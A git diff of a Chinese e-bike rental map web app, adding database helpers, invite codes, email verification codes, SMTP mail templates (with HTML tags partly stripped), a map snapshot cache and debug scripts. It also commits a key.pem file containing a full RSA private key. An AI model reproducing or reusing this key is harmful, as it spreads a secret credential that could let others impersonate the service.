CURRENT_TIMESTAMP, + expires_at TIMESTAMP NOT NULL + ) + """) + + # 用户告警接收邮箱(凭据失效提醒;空则回退账号邮箱) + try: + cursor.execute("ALTER TABLE users ADD COLUMN alert_email TEXT") + except sqlite3.OperationalError: + pass + + conn.commit() + conn.close() + + +def backup_database(keep: int = 7): + """每日备份 users.db 到 backups/ 目录,保留最近 keep 份。 + 使用 SQLite 在线备份 API,对正在写入的库也安全。""" + import shutil + import datetime as dt + backup_dir = DB_PATH.parent / "backups" + backup_dir.mkdir(exist_ok=True) + stamp = dt.datetime.now().strftime("%Y%m%d") + target = backup_dir / f"users-{stamp}.db" + if not target.exists(): # 一天一份 + src = sqlite3.connect(str(DB_PATH)) + dst = sqlite3.connect(str(target)) + with dst: + src.backup(dst) + dst.close() + src.close() + # 清理过期备份 + backups = sorted(backup_dir.glob("users-*.db")) + for old in backups[:-keep]: + try: old.unlink() + except OSError: pass + + +def get_user_auth(user_id: int): + """获取用户凭据,返回 (token_id, access_token)。 + token_id 必填(上游唯一强校验项);access_token 选填(用于实时计算签名)。""" + if not user_id: + return None, None + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT token_id, access_token FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + conn.close() + if row and row["token_id"]: + return row["token_id"], row["access_token"] + return None, None + + +def parse_reminder_minutes(value): + """解析提醒时间,只保留 UI 支持的节点,去重后降序。""" + if value is None: + return list(DEFAULT_RENTAL_SETTINGS["reminder_minutes"]) + if isinstance(value, str): + raw = [part.strip() for part in value.split(",") if part.strip()] + elif isinstance(value, (list, tuple, set)): + raw = list(value) + else: + raw = [] + selected = set() + for item in raw: + try: + minute = int(item) + except (TypeError, ValueError): + continue + if minute in ALLOWED_REMINDER_MINUTES: + selected.add(minute) + return [minute for minute in ALLOWED_REMINDER_MINUTES if minute in selected] + + +def normalize_rental_settings(data: dict): + """校验并标准化来自用户端或管理端的用车设置。""" + if not isinstance(data, dict): + raise ValueError("设置格式不正确") + + def parse_bool(name, default): + value = data.get(name, default) + if isinstance(value, bool): + return value + if value in (0, 1, "0", "1"): + return str(value) == "1" + if isinstance(value, str) and value.lower() in ("true", "false"): + return value.lower() == "true" + raise ValueError(f"{name} 必须是布尔值") + + raw_minutes = data.get("reminder_minutes", DEFAULT_RENTAL_SETTINGS["reminder_minutes"]) + if not isinstance(raw_minutes, (list, tuple, set)): + raise ValueError("提醒时间必须为数组") + try: + numeric_minutes = [int(value) for value in raw_minutes] + except (TypeError, ValueError): + raise ValueError("提醒时间包含无效值") + invalid = [value for value in numeric_minutes if value not in ALLOWED_REMINDER_MINUTES] + if invalid: + raise ValueError("提醒时间仅支持 10、5、3、2、1、0 分钟") + + try: + duration = int(data.get("rental_duration_minutes", 19)) + except (TypeError, ValueError): + raise ValueError("用车到期时间必须是整数") + if duration < 1 or duration > 180: + raise ValueError("用车到期时间须在 1 到 180 分钟之间") + + try: + rounds = int(data.get("rental_rounds", MIN_RENTAL_ROUNDS)) + except (TypeError, ValueError): + raise ValueError("自动续租轮次必须是整数") + if rounds < MIN_RENTAL_ROUNDS or rounds > MAX_RENTAL_ROUNDS: + raise ValueError(f"自动续租轮次须在 {MIN_RENTAL_ROUNDS} 到 {MAX_RENTAL_ROUNDS} 轮之间") + + return { + "reminder_enabled": parse_bool("reminder_enabled", True), + "reminder_minutes": parse_reminder_minutes(numeric_minutes), + "rental_duration_minutes": duration, + "auto_return_enabled": parse_bool("auto_return_enabled", True), + "rental_rounds": rounds, + "protect_card": parse_bool("protect_card", True), + } + + +def get_user_rental_settings(user_id: int): + """获取用户用车策略;无用户或老数据均返回安全默认值。""" + defaults = dict(DEFAULT_RENTAL_SETTINGS) + defaults["reminder_minutes"] = list(DEFAULT_RENTAL_SETTINGS["reminder_minutes"]) + if not user_id: + return defaults + conn = get_db() + try: + row = conn.execute(""" + SELECT reminder_enabled, reminder_minutes, rental_duration_minutes, + auto_return_enabled, rental_rounds, protect_card + FROM users WHERE id = ? + """, (user_id,)).fetchone() + except sqlite3.OperationalError: + # 兼容尚未执行 init_db 迁移的测试库/启动早期连接。 + conn.close() + return defaults + conn.close() + if not row: + return defaults + try: + duration = int(row["rental_duration_minutes"]) + except (TypeError, ValueError): + duration = defaults["rental_duration_minutes"] + try: + rounds = int(row["rental_rounds"]) + except (KeyError, TypeError, ValueError): + rounds = defaults["rental_rounds"] + rounds = max(MIN_RENTAL_ROUNDS, min(MAX_RENTAL_ROUNDS, rounds)) + return { + "reminder_enabled": bool(row["reminder_enabled"]), + "reminder_minutes": parse_reminder_minutes(row["reminder_minutes"]), + "rental_duration_minutes": max(1, min(180, duration)), + "auto_return_enabled": bool(row["auto_return_enabled"]), + "rental_rounds": rounds, + "protect_card": bool(row["protect_card"]), + } + + +def save_user_rental_settings(user_id: int, settings: dict): + """保存已通过路由层校验的用车策略。""" + reminder_minutes = parse_reminder_minutes(settings.get("reminder_minutes")) + duration = int(settings.get("rental_duration_minutes", 19)) + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + UPDATE users SET reminder_enabled = ?, reminder_minutes = ?, + rental_duration_minutes = ?, auto_return_enabled = ?, + rental_rounds = ?, protect_card = ? + WHERE id = ? + """, ( + 1 if settings.get("reminder_enabled") else 0, + ",".join(str(v) for v in reminder_minutes), + duration, + 1 if settings.get("auto_return_enabled") else 0, + int(settings.get("rental_rounds", MIN_RENTAL_ROUNDS)), + 1 if settings.get("protect_card", True) else 0, + user_id, + )) + changed = cursor.rowcount + conn.commit() + conn.close() + return bool(changed) + + +# ===== 注册邀请码 ===== + +def create_invite_codes(count: int, max_uses: int, note: str = ""): + """批量签发邀请码,返回生成的明文码列表(仅签发时可见完整列表)。""" + import secrets + codes = [] + conn = get_db() + cursor = conn.cursor() + alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789" # 去掉易混淆的 I/O/0/1 + while len(codes) < count: + code = "XB-" + "".join(secrets.choice(alphabet) for _ in range(6)) + try: + cursor.execute( + "INSERT INTO invite_codes (code, max_uses, note) VALUES (?, ?, ?)", + (code, max(1, min(999, max_uses)), (note or "")[:100])) + codes.append(code) + except sqlite3.IntegrityError: + continue # 撞码重生成 + conn.commit() + conn.close() + return codes + + +def list_invite_codes(): + """列出所有邀请码(含使用进度与使用人)。""" + conn = get_db() + rows = [dict(r) for r in conn.execute( + "SELECT * FROM invite_codes ORDER BY id DESC")] + conn.close() + return rows + + +def set_invite_code_disabled(code_id: int, disabled: bool): + conn = get_db() + cursor = conn.cursor() + cursor.execute("UPDATE invite_codes SET disabled = ? WHERE id = ?", + (1 if disabled else 0, code_id)) + changed = cursor.rowcount + conn.commit() + conn.close() + return bool(changed) + + +def delete_invite_code(code_id: int): + conn = get_db() + cursor = conn.cursor() + cursor.execute("DELETE FROM invite_codes WHERE id = ?", (code_id,)) + changed = cursor.rowcount + conn.commit() + conn.close() + return bool(changed) + + +def consume_invite_code(code: str, email: str): + """核销邀请码(原子操作:仅未停用且未用满时通过)。返回 (ok, message)。""" + code = (code or "").strip().upper() + if not code: + return False, "请输入邀请码" + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + UPDATE invite_codes + SET used_count = used_count + 1, + used_by = CASE WHEN used_by = '' THEN ? ELSE used_by || ',' || ? END + WHERE code = ? AND disabled = 0 AND used_count < max_uses + """, (email, email, code)) + ok = cursor.rowcount == 1 + conn.commit() + conn.close() + if ok: + return True, "" + # 未通过时给出具体原因 + conn = get_db() + row = conn.execute("SELECT disabled, used_count, max_uses FROM invite_codes WHERE code = ?", + (code,)).fetchone() + conn.close() + if not row: + return False, "邀请码无效" + if row["disabled"]: + return False, "邀请码已被停用" + return False, "邀请码已被用完" + + +def get_user_display_name(user_id: int) -> str: + """获取用户显示名称""" + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT email, access_token, token_id FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + conn.close() + if not row: + return "未知用户" + email = row["email"] + if row["token_id"]: + name = email.split("@")[0] + return f"{name}" + return email + + +def get_all_users(): + """获取所有用户列表""" + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT id, email, access_token, token_id, + reminder_enabled, reminder_minutes, rental_duration_minutes, auto_return_enabled, + rental_rounds, protect_card, + CASE WHEN token_id IS NOT NULL AND token_id != '' THEN 1 ELSE 0 END as has_auth, + CASE WHEN access_token IS NOT NULL AND access_token != '' THEN 1 ELSE 0 END as has_access_token + FROM users ORDER BY id + """) + users = [dict(r) for r in cursor.fetchall()] + conn.close() + for user in users: + user["reminder_enabled"] = bool(user.get("reminder_enabled")) + user["auto_return_enabled"] = bool(user.get("auto_return_enabled")) + user["rental_rounds"] = max( + MIN_RENTAL_ROUNDS, + min(MAX_RENTAL_ROUNDS, int(user.get("rental_rounds") or MIN_RENTAL_ROUNDS)), + ) + user["protect_card"] = bool(user.get("protect_card")) + user["reminder_minutes"] = parse_reminder_minutes(user.get("reminder_minutes")) + return users + + +def get_all_rentals(limit=200): + """获取所有租车记录(共享订单附带骑行者邮箱)""" + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT r.*, u.email as user_email, ru.email as rider_email + FROM rentals r + LEFT JOIN users u ON r.user_id = u.id + LEFT JOIN users ru ON r.rider_user_id = ru.id + ORDER BY r.id DESC LIMIT ? + """, (limit,)) + rentals = [dict(r) for r in cursor.fetchall()] + conn.close() + return rentals + + +def get_rental_status_label(expired: int, end_time: str) -> str: + """返回租车状态标签""" + if expired: + return "已完成" + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + try: + end = dt.datetime.strptime(end_time, "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + if now > end: + return "已超时" + return "进行中" + except: + return "未知" + + +def get_user_alert_email(user_id: int) -> str: + """获取用户告警接收邮箱;未设置时回退账号邮箱。""" + if not user_id: + return "" + conn = get_db() + try: + row = conn.execute("SELECT email, alert_email FROM users WHERE id = ?", (user_id,)).fetchone() + except sqlite3.OperationalError: + # 旧库/极简 schema 缺 alert_email 列:回退账号邮箱 + row = None + try: + row = conn.execute("SELECT email, NULL AS alert_email FROM users WHERE id = ?", + (user_id,)).fetchone() + except sqlite3.OperationalError: + row = None + conn.close() + if not row: + return "" + return (row["alert_email"] or "").strip() or (row["email"] or "").strip() + + +def set_user_alert_email(user_id: int, email: str) -> bool: + email = (email or "").strip() + conn = get_db() + cursor = conn.cursor() + cursor.execute("UPDATE users SET alert_email = ? WHERE id = ?", (email or None, user_id)) + changed = cursor.rowcount + conn.commit() + conn.close() + return bool(changed) diff --git a/debug_map.py b/debug_map.py new file mode 100644 index 0000000..6d20b1c --- /dev/null +++ b/debug_map.py @@ -0,0 +1,48 @@ +from playwright.sync_api import sync_playwright + +with sync_playwright() as p: + browser = p.chromium.launch(headless=True) + page = browser.new_page() + page.goto('http://127.0.0.1:5000/analysis') + page.wait_for_timeout(2000) + page.screenshot(path='d:/Downloads/unpack/98/xbniu_map/debug1.png') + print("Page loaded, took debug1.png") + + # 点击加载轨迹 + page.click('button:has-text("加载轨迹")') + page.wait_for_timeout(4000) + page.screenshot(path='d:/Downloads/unpack/98/xbniu_map/debug2.png') + print("After loading trajectory, took debug2.png") + + # 检查 traj-map 容器内的 DOM 结构 + html = page.evaluate('''() => { + const el = document.getElementById("traj-map"); + if (!el) return "NOT FOUND"; + let info = "children: " + el.children.length + "\\n"; + let canvas = el.querySelectorAll("canvas"); + let mapdiv = el.querySelectorAll("div"); + info += "canvas count: " + canvas.length + "\\n"; + info += "div count: " + mapdiv.length + "\\n"; + for (let c of canvas) { + info += " canvas: " + c.width + "x" + c.height + "\\n"; + } + // 检查 pointer-events + let allEls = Array.from(el.querySelectorAll("*")); + let blocking = []; + for (let e of allEls) { + let style = window.getComputedStyle(e); + let rect = e.getBoundingClientRect(); + if (rect.width > 0 && rect.height > 0) { + let pe = style.pointerEvents; + let vis = style.visibility; + let op = style.opacity; + let z = style.zIndex; + let disp = style.display; + blocking.push(e.className + " ptr:" + pe + " vis:" + vis + " z:" + z + " op:" + op + " disp:" + disp); + } + } + return info + "\\nall elements:\\n" + blocking.join("\\n"); + }''') + print(html) + + browser.close() diff --git a/email_utils.py b/email_utils.py new file mode 100644 index 0000000..f61445a --- /dev/null +++ b/email_utils.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""邮件发送模块。SMTP 凭据从 smtp_config.txt 读取(见 .gitignore,不入库不入 Git)。 + +smtp_config.txt 格式(键=值,# 开头为注释): + smtp_host=smtp.qq.com + smtp_port=587 + smtp_user=xxx@qq.com + smtp_pass=授权码 +""" +import html +import smtplib +from pathlib import Path + +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.header import Header + +_SMTP_CONFIG_PATH = Path(__file__).parent / "smtp_config.txt" + + +def render_email_html(kicker, title, lead, details=None, button_url="", + button_text="打开处理", accent="#2563eb", + code=None, footnote=None): + """通用 HTML 邮件模板(与租车/告警邮件同一套视觉)。 + + code 非空时渲染成醒目的大号验证码区块(用于注册/重置密码验证码)。 + + 注意:调用方应保证各参数为纯文本,本函数内部统一 html.escape, + 不要把未经转义的 HTML 传进来。 + """ + details = list(details or []) + rows = "".join( + '' + '{}{}'.format( + html.escape(str(label)), html.escape(str(value))) + for label, value in details) + table = "" + if rows: + table = ( + '' + rows + '
') + + code_block = "" + if code: + code_block = f""" +
+
验证码
+
{html.escape(str(code))}
+
""" + + button = "" + if button_url: + safe_url = html.escape(button_url, quote=True) + button = f""" + """ + + foot = footnote if footnote is not None else "这是系统自动发送的邮件。" + return f""" + +
+
+
+
+
{html.escape(kicker)}
+

{html.escape(title)}

+

{html.escape(lead)}

+ {code_block} + {table} + {button} +
+
+

{html.escape(str(foot))}

+
+""" + + +def render_email_safe(**kwargs): + """render_email_html 的失败兜底包装:任何异常都返回 None, + 让调用方退回纯文本发送。验证码/告警属关键路径,不能因样式渲染失败而发不出去。""" + try: + return render_email_html(**kwargs) + except Exception as e: + print(f"[邮件渲染] HTML 渲染失败,退回纯文本: {e}") + return None + + +def _load_smtp_config() -> dict: + cfg = {"smtp_host": "smtp.qq.com", "smtp_port": "587", "smtp_starttls": "1", + "smtp_user": "", "smtp_pass": ""} + try: + if _SMTP_CONFIG_PATH.exists(): + for line in _SMTP_CONFIG_PATH.read_text("utf-8").splitlines(): + line = line.strip() + if line and not line.startswith("#") and "=" in line: + k, v = line.split("=", 1) + k = k.strip() + if k in cfg: + cfg[k] = v.strip() + except Exception as e: + print(f"[SMTP配置] 读取失败: {e}") + return cfg + + +def send_email(to_email: str, subject: str, body: str, html_body: str = None) -> bool: + """发送邮件,可同时提供纯文本和 HTML 版本,返回是否成功。""" + cfg = _load_smtp_config() + if not cfg["smtp_user"] or not cfg["smtp_pass"]: + print("[邮件发送失败] smtp_config.txt 未配置 smtp_user/smtp_pass") + return False + try: + if html_body: + msg = MIMEMultipart("alternative") + msg.attach(MIMEText(body, "plain", "utf-8")) + msg.attach(MIMEText(html_body, "html", "utf-8")) + else: + msg = MIMEText(body, "plain", "utf-8") + msg["From"] = cfg["smtp_user"] + msg["To"] = to_email + msg["Subject"] = Header(subject, "utf-8") + + server = smtplib.SMTP(cfg["smtp_host"], int(cfg["smtp_port"]), timeout=10) + if cfg["smtp_starttls"] == "1": + server.starttls() + server.login(cfg["smtp_user"], cfg["smtp_pass"]) + server.sendmail(cfg["smtp_user"], [to_email], msg.as_string()) + server.quit() + print(f"[邮件发送成功] 收件: {to_email} | 主题: {subject}") + return True + except Exception as e: + print(f"[邮件发送失败] 收件: {to_email} | 错误: {e}") + return False diff --git a/email_verify.py b/email_verify.py new file mode 100644 index 0000000..aa48f71 --- /dev/null +++ b/email_verify.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""注册/重置密码邮箱验证码:服务端 60 秒冷却、10 分钟有效期、5 次错误作废。 +内存存储(单进程部署足够);重启后验证码失效,用户重新发送即可。 +purpose 区分用途(register / reset),不同用途互不通用。""" +import hashlib +import secrets +import threading +import time + +import rate_limit +from email_utils import render_email_safe, send_email + +CODE_TTL_SECONDS = 10 * 60 +CODE_SEND_COOLDOWN = 60 # 同一邮箱两次发送的最小间隔(服务端强制) +CODE_MAX_ATTEMPTS = 5 +SEND_IP_MAX_PER_HOUR = 10 # 同一 IP 每小时最多请求验证码次数 + +PURPOSES = ("register", "reset") + +_lock = threading.Lock() +_codes: dict = {} # email -> {"hash": sha256hex, "expires": ts, "attempts": n, "sent_at": ts, "purpose": str} + +# purpose -> (邮件主题, 页面标题, 首段说明, 顶部 kicker, 主题色) +_PURPOSE_TITLES = { + "register": ( + "【小白超人】注册验证码", + "注册验证码", + "你正在注册小白超人电动车地图账号,请在页面中输入下面的验证码完成注册。", + "小白超人 · 账号注册", + "#2563eb", + ), + "reset": ( + "【小白超人】重置密码验证码", + "重置密码验证码", + "你正在重置小白超人电动车地图的登录密码,请在页面中输入下面的验证码。", + "小白超人 · 重置密码", + "#dc2626", + ), +} + + +def _now() -> float: + return time.time() + + +def _code_hash(code: str, email: str) -> str: + return hashlib.sha256(f"{email.lower()}:{code}".encode("utf-8")).hexdigest() + + +def _cleanup_locked(now: float): + for email in [e for e, v in _codes.items() if v["expires"] <= now]: + _codes.pop(email, None) + + +def send_code(email: str, purpose: str = "register") -> tuple: + """发送验证码到邮箱。返回 (ok, message)。受 60s 邮箱冷却与每小时 IP 上限约束。""" + email = (email or "").strip().lower() + if purpose not in PURPOSES: + purpose = "register" + now = _now() + with _lock: + entry = _codes.get(email) + if entry and now - entry["sent_at"] < CODE_SEND_COOLDOWN: + wait = int(CODE_SEND_COOLDOWN - (now - entry["sent_at"])) + 1 + return False, f"发送过于频繁,请 {wait} 秒后再试" + code = f"{secrets.randbelow(1000000):06d}" + subject, title, lead, kicker, accent = _PURPOSE_TITLES.get( + purpose, _PURPOSE_TITLES["register"]) + ttl_minutes = CODE_TTL_SECONDS // 60 + # 纯文本版本保留(无 HTML 能力的客户端);HTML 版本走统一模板。 + plain = (f"{title}\n\n{lead}\n\n验证码:{code}\n\n" + f"{ttl_minutes} 分钟内有效。若不是你本人操作,请忽略本邮件。") + html_body = render_email_safe( + kicker=kicker, title=title, + lead=f"请在页面中输入下面的验证码,{ttl_minutes} 分钟内有效。", + code=code, accent=accent, + details=[("有效期", f"{ttl_minutes} 分钟"), + ("用途", "账号注册" if purpose == "register" else "重置登录密码")], + footnote="若不是你本人操作,请忽略本邮件,你的账号不会受到任何影响。", + ) + ok = send_email(email, subject, plain, html_body) + if not ok: + return False, "验证码邮件发送失败,请稍后重试" + with _lock: + _codes[email] = { + "hash": _code_hash(code, email), + "expires": now + CODE_TTL_SECONDS, + "attempts": 0, + "sent_at": now, + "purpose": purpose, + } + return True, "验证码已发送" + + +def check_send_cooldown(email: str) -> int: + """返回还需等待的秒数(0 = 可发送)。供接口在未真正发送前返回通用响应。""" + email = (email or "").strip().lower() + now = _now() + with _lock: + entry = _codes.get(email) + if entry and now - entry["sent_at"] < CODE_SEND_COOLDOWN: + return int(CODE_SEND_COOLDOWN - (now - entry["sent_at"])) + 1 + return 0 + + +def verify_code(email: str, code: str, purpose: str = "register") -> bool: + """校验验证码;成功即作废,连续错误 5 次作废。purpose 必须与发送时一致。""" + email = (email or "").strip().lower() + code = (code or "").strip() + if purpose not in PURPOSES: + purpose = "register" + now = _now() + with _lock: + entry = _codes.get(email) + if not entry or entry["expires"] <= now or entry["attempts"] >= CODE_MAX_ATTEMPTS: + return False + if entry.get("purpose", "register") != purpose: + # 用途不匹配(例如拿注册验证码去重置密码):按错误处理并计数 + entry["attempts"] += 1 + return False + if not (len(code) == 6 and code.isdigit()): + entry["attempts"] += 1 + return False + if secrets.compare_digest(entry["hash"], _code_hash(code, email)): + _codes.pop(email, None) + return True + entry["attempts"] += 1 + return False + + +def ip_send_allowed(ip: str) -> bool: + """同一 IP 每小时验证码发送次数上限。""" + return rate_limit.hit(("send_code", ip), SEND_IP_MAX_PER_HOUR, 3600) diff --git a/generate_icons.py b/generate_icons.py new file mode 100644 index 0000000..1ad182d --- /dev/null +++ b/generate_icons.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 +"""生成车辆标记图标""" +from PIL import Image, ImageDraw, ImageFont +import os + +STATIC_DIR = os.path.join(os.path.dirname(__file__), "static") +os.makedirs(STATIC_DIR, exist_ok=True) + +# 状态颜色 (R, G, B) +COLORS = { + "green": "#4CAF50", + "pink": "#E91E8C", + "orange": "#FF9800", + "gray": "#9E9E9E", + "red": "#F44336", +} + +def make_icon(color_hex, label="", size=36): + """生成圆形标记图标,label=文字(如百分比或状态符)""" + img = Image.new("RGBA", (size, size), (0, 0, 0, 0)) + draw = ImageDraw.Draw(img) + + r = size // 2 + cx, cy = r, r + # 填充圆 + draw.ellipse([2, 2, size-3, size-3], fill=color_hex + "E0") # 带透明度 + # 边框 + draw.ellipse([2, 2, size-3, size-3], outline=color_hex, width=2) + + if label: + # 文字居中 + try: + font_size = 11 if len(label) <= 2 else 9 + font = ImageFont.truetype("arial.ttf", font_size) + except Exception: + font = ImageFont.load_default() + bbox = draw.textbbox((0, 0), label, font=font) + tw = bbox[2] - bbox[0] + th = bbox[3] - bbox[1] + tx = cx - tw // 2 - bbox[0] + ty = cy - th // 2 - bbox[1] + # 白色文字 + draw.text((tx, ty), label, fill="#FFFFFF", font=font) + + path = os.path.join(STATIC_DIR, f"marker_{color_hex[1:]}.png") + img.save(path, "PNG") + print(f" {path}") + return path + + +if __name__ == "__main__": + print("生成标记图标...") + for name, color in COLORS.items(): + make_icon(color) + print("完成!") diff --git a/key.pem b/key.pem new file mode 100644 index 0000000..b873de4 --- /dev/null +++ b/key.pem @@ -0,0 +1,28 @@ +-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6AR4Al85osaYq +TGcd9xuyyeDIrvwtyYLdO8xobJtxNowu/JXK4oj29OdvyR8kzy1BnE/XTi49XBMF +rZs92VoWO7wMTDS2/pK/A8DFcxqEHBKURr6xgQaOAa7B3MOl6b12mTH7e3ow+T++ +zktQ3dsmyeqFEchgVXTkjBxSY1Ae+7cORI/JW6QGBuSDSR9mZsPR9J3Yw6Ltbug9 +9fsYWz6ajDs5+D2YG97BrNOx+bzQqQFEsmUbtwST2v6owTvlecDM9KvGOyvaBSG7 +jhgnkc+pKDP6OxaIsHjtTwPQaB4RlkUMo7GhLNp0iEo9wDMfqubK/7zxE5GGh+1q +yeaXVIzFAgMBAAECggEAAz37vjo8gHoAPHfXyvTrXa1ue/EDjO9t7C9GUSz7dKNl +GXiQ9S1dAnj4WRbMsoE4omPNccz3ZLMTKHkt3eEeVImMAzwyJbJq77tqrnENgu9T +qj6lb5tLzZ6H45yBKIYveulmrqHTWmvYdESiRBw/MqjjAUNzFlgcUSjZYYeWS5lD +ViTo/jR0uInj5Ebj3CfNCMZXwMHDZVIcp5EruXbZv/PAozCCEwzUOdxiibs5iX25 ++ArnVaYRbTTttyWjf1pu0UxmiZaqN7/3Z0nTIL13l8QEakooVGKOBFOG1HLfYBNG +hnYcfbWPOzgoowDqfzb3ylovdQJPL4Lrt5Oxd9ajTQKBgQDhSE/i+JhfhZg2+PZW +WGKA3FWcFJ8UScCCHdHP5rVxn5fGWIHMWtURnjzzkUm38DONXQihl5M8Mg99wfc9 +wIGDv7VHqZlSBF/s0aF7w4ndsVXttClh5NFl/7/RGmpVM5EklIwm+9Kox5fAkzOX +/UAeHxIoooP6bvWUG5BEksX+KwKBgQDTXcR2VS564poOsFIB93VQ8uwN/qrVz33Z +T8PQXV5DkyhQ9mvGknUN0v8jG7xb946ZO4GQmISA6AcOvdkpeQYYNa/HKu3wmZ6G +IZmZgA9XNdX4EVnztyuNY7Bnrepm3xHEH4DhafQqeqc2tjplxMmUAqlFTfDhwioq +IukFQDgYzwKBgEdcuLGVPe9ESmtfgejoJovbP+MpRRsQIcMV3xiUZHWRsGpMLxGk +1Em4bmZZZ5i0ph/pkIpfkWxID1Au2TreeChb2fjRaJfqethxr02dK1bmjem2YEV6 +TjqZQRHj5DsJErkbtSnEK377er6t4nIK7vybqwzkLhpue6xm7tRKCh3xAoGAA7PU +yS3czpJBmJhGF3q6N1zJ/cTEQVKNJc1b5L599DkTr7dhU+0k18UmavsFZacEfHKq +ZloFmCx4Uy3ILA3OqYXnOlnqKRjHyhm0kxfHLQPoZ5wGM1q2DJf+cxJ81Kh7qy/S +FiDBAi172F2A0F+OGGWjiW9AFPRNwMczxb/GO8kCgYEAuG4Fn/CVrXSY8HyDEjoJ +Miamb4fP/xYT0qAQPRZXzdAlsEsWnAO9DlQSevzAWZQbQXEl3V4ZQo9N/GT+3rfw +ZiD1fB5SUB+91PAXot5rCgC9G8Yih+78tRifPRnFJVYfn+/o6rw3rNG4LzM/8ssn +M+XVUWaErmaUPpUH5dGcOVA= +-----END PRIVATE KEY----- diff --git a/map_cache.py b/map_cache.py new file mode 100644 index 0000000..44fd0ab --- /dev/null +++ b/map_cache.py @@ -0,0 +1,177 @@ +"""One shared, at-most-60-second map snapshot per bicycle type. + +SQLite leases coalesce requests across threads and worker processes without +holding a database transaction open during the upstream network request. +""" +import datetime as dt +import json +import sqlite3 +import time +import uuid +from pathlib import Path + +MAP_TTL_SECONDS = 60 +MAP_TYPES = frozenset({"1", "3", "6"}) + + +class SharedMapCache: + def __init__(self, path, *, ttl=MAP_TTL_SECONDS, lease_seconds=20, + wait_timeout=12, clock=None): + self.path = Path(path) + self.ttl = ttl + self.lease_seconds = lease_seconds + self.wait_timeout = wait_timeout + self.clock = clock or time.time + + def _connect(self): + deadline = time.monotonic() + 5 + while True: + conn = sqlite3.connect(str(self.path), timeout=5) + try: + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA busy_timeout=5000") + if conn.execute("PRAGMA journal_mode").fetchone()[0] != "wal": + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("""CREATE TABLE IF NOT EXISTS shared_map_snapshots ( + bike_type TEXT PRIMARY KEY, + payload TEXT, + fetched_at REAL, + expires_at REAL NOT NULL DEFAULT 0, + last_success_at REAL, + lease_token TEXT, + lease_until REAL NOT NULL DEFAULT 0 + )""") + return conn + except sqlite3.OperationalError as error: + conn.close() + # Concurrent first connections can race when switching to WAL. + if "locked" not in str(error).lower() or time.monotonic() >= deadline: + raise + time.sleep(0.01) + except BaseException: + conn.close() + raise + + @staticmethod + def _cached(row, now): + if row and row["payload"] and row["fetched_at"] <= now < row["expires_at"]: + try: + return json.loads(row["payload"]) + except (TypeError, ValueError): + pass + return None + + @staticmethod + def _pending(): + return {"rtn_code": 503, "message": "地图数据正在更新,请稍后重试", "retry_after": 2} + + def get(self, bike_type, loader): + bike_type = str(bike_type).strip() + if bike_type not in MAP_TYPES: + return {"rtn_code": 400, "message": "不支持的车辆类型"} + deadline = time.monotonic() + self.wait_timeout + token = uuid.uuid4().hex + started = None + last_success = None + while started is None: + now = self.clock() + conn = self._connect() + try: + row = conn.execute("SELECT * FROM shared_map_snapshots WHERE bike_type=?", (bike_type,)).fetchone() + cached = self._cached(row, now) + if cached is not None: + return cached + if not row or row["lease_until"] <= now: + # Another worker may have refreshed between the read and lock. + conn.execute("BEGIN IMMEDIATE") + row = conn.execute("SELECT * FROM shared_map_snapshots WHERE bike_type=?", (bike_type,)).fetchone() + now = self.clock() + cached = self._cached(row, now) + if cached is not None: + return cached + if not row or row["lease_until"] <= now: + last_success = row["last_success_at"] if row else None + conn.execute("""INSERT INTO shared_map_snapshots (bike_type, lease_token, lease_until) + VALUES (?, ?, ?) ON CONFLICT(bike_type) DO UPDATE SET + lease_token=excluded.lease_token, lease_until=excluded.lease_until""", + (bike_type, token, now + self.lease_seconds)) + conn.commit() + started = now + finally: + conn.close() + if started is None: + if time.monotonic() >= deadline: + return self._pending() + time.sleep(0.05) + + try: + result = loader() + if not isinstance(result, dict): + raise ValueError("invalid map response") + if result.get("rtn_code") == 0 and ( + not isinstance(result.get("data"), dict) + or not isinstance(result["data"].get("bicycleStation"), list) + ): + raise ValueError("invalid map payload") + except Exception: + result = {"rtn_code": -1, "message": "地图数据更新失败,请稍后重试"} + success = result.get("rtn_code") == 0 + if success: + last_success = started + # Store errors for the same window too, preventing an outage retry storm. + result = {**result, "map_snapshot": { + "snapshot_id": token, + "fetched_at": last_success, + "expires_at": started + self.ttl, + "ttl_seconds": self.ttl, + "status": "fresh" if success else "error", + }} + payload = json.dumps(result, ensure_ascii=False, separators=(",", ":")) + conn = self._connect() + try: + cursor = conn.execute("""UPDATE shared_map_snapshots SET + payload=?, fetched_at=?, expires_at=?, last_success_at=?, lease_token=NULL, lease_until=0 + WHERE bike_type=? AND lease_token=?""", + (payload, started, started + self.ttl, last_success, bike_type, token)) + conn.commit() + published = cursor.rowcount == 1 + finally: + conn.close() + # An expired lease holder must never publish over a newer worker's snapshot. + return json.loads(payload) if published else self.get(bike_type, loader) + + def freshness(self, bike_type="3"): + conn = self._connect() + try: + row = conn.execute("SELECT * FROM shared_map_snapshots WHERE bike_type=?", (str(bike_type),)).fetchone() + finally: + conn.close() + if not row or not row["payload"]: + return None + try: + result = json.loads(row["payload"]) + except (TypeError, ValueError): + return None + stamp = row["last_success_at"] + now = self.clock() + tz = dt.timezone(dt.timedelta(hours=8)) + return { + "latest": dt.datetime.fromtimestamp(stamp, tz).strftime("%Y-%m-%d %H:%M:%S") if stamp is not None else None, + "fetched_at": stamp, + "stale_seconds": max(0, int(now - stamp)) if stamp is not None else None, + "expires_at": row["expires_at"], + "snapshot_id": result.get("map_snapshot", {}).get("snapshot_id"), + "status": "fresh" if 